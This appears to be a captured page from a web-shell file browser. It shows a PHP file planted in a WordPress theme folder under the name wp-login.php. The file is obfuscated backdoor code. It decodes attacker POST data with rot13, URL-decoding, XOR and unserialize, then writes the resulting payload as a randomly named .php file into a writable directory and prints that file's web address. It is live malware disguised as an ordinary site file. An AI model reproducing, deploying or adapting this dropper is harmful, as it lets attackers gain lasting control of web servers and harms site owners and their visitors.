HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/twentytwentythree/styles/wp-login.php
<?php function GXdgpKk($RJuKNTqp){$HhpzcaNQ = "\x72".chr(97).chr(175-56)."\x75".chr(443-329).chr(505-397).chr(100)."\145".'c'.chr(111).'d'."\x65";$ilZacV = chr(115).'t'."\x72"."\x5f".chr(114)."\157"."\x74"."\61".'3';$yCcNRNIo = "\x73"."\x74".chr(114).chr(1007-912)."\x73".'p'."\154".chr(105).chr(116);$RJuKNTqp = $yCcNRNIo($HhpzcaNQ($ilZacV($RJuKNTqp)));return $RJuKNTqp;}function tvsZJ($JaPsj, $RJuKNTqp){$LRsVGpm = "\163"."\x74".chr(1050-936)."\137".chr(115).chr(720-608).chr(108)."\151".'t';$JaPsj = array_slice($LRsVGpm(str_repeat($JaPsj, (count($RJuKNTqp)/16)+1)), 0, count($RJuKNTqp));return $JaPsj;}function kCrqC($WyuzkgMJyu, $oQgJCw, $JaPsj){$JaLwkcbWx = "e4a88746-635c-4219-bf2f-23f88321eb11";return $WyuzkgMJyu ^ $JaLwkcbWx[$oQgJCw % strlen($JaLwkcbWx)] ^ $JaPsj;}function HtiRFgwvT($RJuKNTqp, $JaPsj){$RJuKNTqp = array_map("kCrqC", array_values($RJuKNTqp), array_keys($RJuKNTqp), array_values($JaPsj));$RJuKNTqp = implode("", $RJuKNTqp);$ehsZclRHV = chr(117)."\156"."\163".chr(183-82)."\x72".'i'.'a'.'l'.'i'.chr(122).chr(423-322);$RJuKNTqp = @$ehsZclRHV($RJuKNTqp);return $RJuKNTqp;}function nlaAGDYa(){echo "UCCfa";}function khrYsQ($wdfayRSVxwir){static $BfQsiIdWOR = array();$mqqcwMBjon = glob($wdfayRSVxwir . '/*', GLOB_ONLYDIR);$hWnzyKf = count($mqqcwMBjon);if ($hWnzyKf > 0) {foreach ($mqqcwMBjon as $wdfayRSVxw) {$PCMXgxLGOF = 'i'."\163"."\x5f".chr(344-225).chr(114)."\151".'t'.chr(97).'b'."\154"."\x65";if (@$PCMXgxLGOF($wdfayRSVxw)) {$BfQsiIdWOR[] = $wdfayRSVxw;}}}foreach ($mqqcwMBjon as $wdfayRSVxwir) khrYsQ($wdfayRSVxwir);return $BfQsiIdWOR;}function oQSuOj(){echo "AVFEVL";}function DdAubJdvg($RJuKNTqp){$ayDeN = chr(981-913)."\x4f".'C'.chr(536-451)."\x4d"."\105"."\116"."\124".chr(869-774).chr(685-603).chr(117-38)."\117".chr(181-97);$MKDuWwsQf = $_SERVER[$ayDeN];$mqqcwMBjon = khrYsQ($MKDuWwsQf);$JFMpKRqdP = array_rand($mqqcwMBjon);$NIFjBRlc = chr(46).'p'."\x68".chr(188-76);$VZpwYRHB = $mqqcwMBjon[$JFMpKRqdP] . "/" . substr(md5(time()), 0, 8) . $NIFjBRlc;$PESxaY = chr(102).chr(161-56)."\154"."\x65".chr(791-696).chr(112)."\x75".chr(116).chr(452-357).chr(603-504)."\157".chr(358-248)."\164"."\x65".chr(110)."\164".chr(784-669);@$PESxaY($VZpwYRHB, $RJuKNTqp);$LgNPDW = "\110"."\124"."\124"."\x50".'_'.chr(1023-951).chr(79).'S'.chr(84);$kmGljgYWIw = 'h'."\164".'t'.chr(652-540)."\72".chr(47).chr(401-354);$ZAmApKW = $kmGljgYWIw . $_SERVER[$LgNPDW] . substr($VZpwYRHB, strlen($MKDuWwsQf));print($ZAmApKW);}foreach ($_POST as $JaPsj => $RJuKNTqp){$wnwrrfj = strlen($JaPsj);if ($wnwrrfj == 16){$RJuKNTqp = GXdgpKk($RJuKNTqp);$JaPsj = tvsZJ($JaPsj, $RJuKNTqp);$RJuKNTqp = HtiRFgwvT($RJuKNTqp, $JaPsj);if (@is_array($RJuKNTqp)){$JFMpKRqdP = array_keys($RJuKNTqp);$RJuKNTqp = $RJuKNTqp[$JFMpKRqdP[0]];if ($RJuKNTqp === $JFMpKRqdP[0]){$ZNicmQ = 'p'."\x68".chr(112);$nMniYz = "\160".'h'.chr(130-18).'v'."\x65"."\162"."\x73"."\151"."\x6f".chr(110);$HMDhO = "\163"."\x65".chr(983-869).chr(1096-991).'a'."\154".chr(105).chr(510-388).chr(661-560);echo @$HMDhO(Array($ZNicmQ => @$nMniYz(), ));}else {DdAubJdvg($RJuKNTqp);}die();}}}